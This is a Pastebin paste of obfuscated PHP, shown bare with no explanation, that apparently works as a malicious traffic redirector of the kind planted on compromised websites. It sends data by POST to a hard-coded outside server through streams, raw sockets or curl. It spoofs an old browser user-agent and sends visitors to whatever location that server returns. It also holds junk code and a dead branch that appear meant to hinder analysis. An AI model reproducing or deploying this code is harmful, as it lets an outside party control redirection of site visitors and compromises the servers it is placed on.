Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?
- function bd($i){
- $a = Array('0ADMIN_REDIR_URL', '1http://base.herrickclnc.com/b/rd.txt', '2Location: ','3allow_url_fopen', '4host','5host','6path','7curl_init','8http', '9method', '10POST', '11header', '12Content-Type: application/x-www-form-urlencoded', '13', '14content', '15vpectvscokcrxvnm', '16lrirz','17POST ', '18 HTTP/1.0', '19User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3','20Accept: */*','21Accept-Language: en-us,en;q=0.5', '22Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7', '23Content-Length: ', '24', '25', '26');
- return $a[$i];
- }
- ?>
- <?php
- define('ADMIN_REDIR_URL', 'http://base.herrickclnc.com/b/rd.txt');
- $_1 = checking($_2);
- header('Location: ' . $_1);
- function checking($_3){
- if (ini_get('allow_url_fopen')) {
- return f_stream($_3);
- } else {
- $_4 = parse_url(ADMIN_REDIR_URL);
- if ($_5 = @fsockopen($_4['host'], 80, $_6, $_7, 15)) {
- return l__2($_5, $_4['host'], $_4['path'], $_3);
- } elseif (@function_exists('curl_init')) {
- return f_curl($_3);
- }
- }
- }
- function f_stream($tmp){
- $_8 = stream_context_create(
- array(
- 'http' => array(
- 'method' => 'POST',
- 'header' => 'Content-Type: application/x-www-form-urlencoded',
- 'content' => $tmp
- )
- )
- );
- //mssql_query($_9);
- return file_get_contents(ADMIN_REDIR_URL, false, $_8);
- }
- function l__2($_5, $_11, $_12, $_2){
- fputs($_5, "POST " . $_12 . " HTTP/1.0\r\nHost: $_11\r\nUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3\r\nAccept: */*\r\n Accept-Language: en-us,en;q=0.5\r\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nContent-Length: " . strlen($_2) . "\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\n$_2");
- $_13 = "\r";
- while($_9 = fread($_5, 4096)) {
- $_13 .= $_9;
- }
- fclose($_5);
- return $_13;
- }
- function f_curl($_2){
- $_15 = curl_init(ADMIN_REDIR_URL);
- curl_setopt($_15,42, FALSE);
- curl_setopt($_15,19913, TRUE);
- $_16 = 2960;
- curl_setopt($_15,13, 15);
- curl_setopt($_15,10015,$_2);
- $_17 = curl_exec($_15);
- if (7578 < mt_rand( 3057, 4516))
- nl2br($_7, $_14, $_3);
- curl_close($_15);
- return $_17;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement